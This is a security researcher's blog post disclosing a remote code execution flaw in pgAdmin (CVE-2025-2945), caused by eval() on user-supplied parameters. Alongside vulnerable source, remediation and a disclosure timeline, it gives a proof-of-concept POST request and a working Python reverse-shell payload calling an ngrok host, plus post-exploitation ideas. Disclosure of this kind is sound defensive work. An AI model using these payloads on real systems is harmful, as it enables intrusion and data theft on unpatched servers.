ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Remote Code Execution Vulnerability in pgAdmin (CVE-2025-2945)
    Bug Bounty 2025. 4. 4. 18:19

    Introduction

    This post provides a technical explanation of a Remote Code Execution (RCE) vulnerability discovered in pgAdmin (≤9.1), a widely used administration tool for PostgreSQL databases.

     

    To exploit this vulnerability, an authenticated user must be able to send a POST request to the pgAdmin server.
    The vulnerability exists in two separate features — /sqleditor/query_tool/download</int:trans_id> and /cloud/deploy — both of which lead to RCE through the use of the eval() function.

     

    The eval() function is a dangerous function that interprets the string argument as an expression and executes it as is. (Reference)


    Vulnerability Details

    The vulnerability arises from untrusted input being passed directly to the eval() function without any validation or sanitization.

    /sqleditor/query_tool/download/<int:trans_id>

    # https://github.com/pgadmin-org/pgadmin4/blob/REL-9_1/web/pgadmin/tools/sqleditor/__init__.py#L2124-L2160
    
    @blueprint.route(
        '/query_tool/download/<int:trans_id>',
        methods=["POST"],
        endpoint='query_tool_download'
    )
    @pga_login_required
    def start_query_download_tool(trans_id):
        (status, error_msg, sync_conn, trans_obj,
         session_obj) = check_transaction_status(trans_id)
    
        if not status or sync_conn is None or trans_obj is None or \
                session_obj is None:
            return internal_server_error(
                errormsg=TRANSACTION_STATUS_CHECK_FAILED
            )
    
        data = request.values if request.values else request.get_json(silent=True)
        if data is None:
            return make_json_response(
                status=410,
                success=0,
                errormsg=gettext(
                    "Could not find the required parameter (query)."
                )
            )
    
        try:
            sql = None
            query_commited = data.get('query_commited', False)
            # Iterate through CombinedMultiDict to find query.
            for key, value in data.items():
                if key == 'query':
                    sql = value
                if key == 'query_commited':
                    query_commited = (
                        eval(value) if isinstance(value, str) else value # vuln code
                    )

     

    In the case of /sqleditor/query_tool/download/{int:trans_id}, the vulnerable code shows that if the value received via the query_committed parameter is of type str, it is directly passed into the eval() function.

    POST /sqleditor/query_tool/download/9907078 HTTP/1.1
    Host: localhost:8088
    Content-Type: application/json
    
    {
        "query": "SELECT 1;",
        "query_commited": "open('/tmp/pyozzi-poc', 'w')"
    }

    As a result, an attacker can execute arbitrary Python code by sending a crafted POST request to the vulnerable endpoint.

    /cloud/deploy

    # https://github.com/pgadmin-org/pgadmin4/blob/REL-9_1/web/pgacloud/providers/google.py#L140
    
    def _create_google_postgresql_instance(self, args):
            credentials = self._get_credentials(self._scopes)
            service = discovery.build('sqladmin', 'v1beta4',
                                      credentials=credentials)
            high_availability = \
                'REGIONAL' if eval(args.high_availability) else 'ZONAL' # vuln code
    
            db_password = self._database_password \
                if self._database_password is not None else args.db_password
    
            ip = args.public_ip if args.public_ip else '{}/32'.format(get_my_ip())
            authorized_networks = self.get_authorized_network_list(ip)
    
            database_instance_body = {
                'databaseVersion': args.db_version,
                'instanceType': 'CLOUD_SQL_INSTANCE',
                'project': args.project,
                'name': args.name,
                'region': args.region,
                'gceZone': args.availability_zone,
                'secondaryGceZone': args.secondary_availability_zone,
                "rootPassword": db_password,
                'settings': {
                    'tier': args.instance_type,
                    'availabilityType': high_availability,
                    'dataDiskType': args.storage_type,
                    'dataDiskSizeGb': args.storage_size,
                    'ipConfiguration': {
                        "authorizedNetworks": authorized_networks,
                        'ipv4Enabled': True
                    },
                }
            }

     

    At the /cloud/deploy endpoint, the vulnerability occurs when the high_availability parameter is passed directly to the eval() function.

     

    An attacker can gain a reverse shell by supplying the following input:

    exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.jp.ngrok.io",17477));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])')

     

    Once the reverse shell is established, the attacker gains access to all server resources with the privileges of the pgAdmin process.

     

    From there, the attacker can carry out further exploitation through scenarios such as the following:

    1. Database Access & Manipulation
    The attacker can access, modify, or exfiltrate sensitive data stored in PostgreSQL databases managed by pgAdmin.
    
    2. Lateral Movement
    With access to the server, the attacker may scan the internal network to find and compromise other systems.
    
    3. Credential Theft
    Configuration files and environment variables may contain hardcoded credentials, API keys, or tokens that can be extracted and reused.
    
    4. Privilege Escalation
    If the pgAdmin process is running with elevated privileges, the attacker may exploit local vulnerabilities to escalate privileges to root.
    
    5. Persistence
    The attacker can install backdoors, create scheduled tasks, or modify startup scripts to maintain long-term access.

    Remediation

    In the patched version 9.2, the vulnerability was addressed by removing the use of the eval() function.
    https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c

    patch diff

    Personally, when I discovered the vulnerability, I couldn't help but wonder — "Why would they use eval() here...?"

    Because as you can see from the code, the business logic could have been fully implemented without using eval() at all.

     

    I reported the issue to security@pgadmin.org, recommending that the business logic be implemented without relying on the eval() function.

     

    The pgAdmin team responded quickly — they reviewed the report and released a patch for the vulnerability in under 24 hours. :)


    Disclosure Timeline

    [16 Mar 2025]:
    vulnerability report sent via email to security@pgadmin.org.

     

    [17 Mar 2025]:

    [PGAdmin Team] Acknowledges the vulnerability

     

    [18 Mar 2025]:

    [PGAdmin Team] Announced that the patch is complete and will be included in the next release.

     

    [27 Mar 2025]:
    [PGAdmin Team] Opens an issue on GitHub. https://github.com/pgadmin-org/pgadmin4/issues/8603

     

    [3 Apr 2025]:
    [PGAdmin Team] releases new update with the fix. https://www.pgadmin.org/docs/pgadmin4/9.2/release_notes_9_2.html

     

    [PGAdmin Team] CVE-2025-2945 was published for this vulnerability

    https://nvd.nist.gov/vuln/detail/CVE-2025-2945

    'Bug Bounty' 카테고리의 다른 글

    Flowise RCE via File Upload  (0) 2025.03.15
    CVE-2024-7773/CVE-2024-45436 in Ollama RCE  (0) 2024.10.08
    CVE-2023-50718 in nocoDB SQL injection  (0) 2024.05.14
    CVE-2023-50717 in nocoDB XSS  (0) 2024.05.14
    KISA 2023 TOP 10  (2) 2024.02.20

    댓글

Designed by Tistory.